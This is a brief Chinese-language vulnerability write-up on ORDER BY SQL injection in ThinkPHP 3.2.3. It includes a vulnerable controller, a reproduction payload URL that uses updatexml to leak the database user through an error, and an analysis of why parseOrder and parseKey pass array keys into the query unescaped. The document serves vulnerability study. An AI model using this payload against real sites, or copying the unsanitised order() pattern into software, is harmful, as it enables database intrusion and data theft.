thinkphp3.2 order注入

控制器代码：

    public function index(){
        $username=I("username");
        $order=I("order");
        $data=M('users')->where(array('username'=>$username))->order($order)->select();
        dump($data);
    }

 

复现：

payload：

http://localhost/tp/tp3.2.3/?username=1jzz&order[updatexml(1,concat(0x3a,user()),1)]

 

 

分析：

1、parseOrder函数分析

    protected function parseOrder($order) {
        if(is_array($order)) {
            $array   =  array();
            foreach ($order as $key=>$val){
                if(is_numeric($key)) {
                    $array[] =  $this->parseKey($val);
                }else{
                    $array[] =  $this->parseKey($key).' '.$val;
                }
            }
            $order   =  implode(',',$array);
        }
        return !empty($order)?  ' ORDER BY '.$order:'';
    }

这里我们传入的order数组中，key值为我们所要注入的代码，value值则为空。

经过第5行的if判断，这里的key值不为数字或者数字字符串，接着执行第8行的代码。

 

2、parseKey函数分析

    protected function parseKey(&$key) {
        $key   =  trim($key);
        if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
           $key = '`'.$key.'`';
        }
        return $key;
    }

这里返回了传入的key值，并切成功的加在的sql语句中，形成sql注入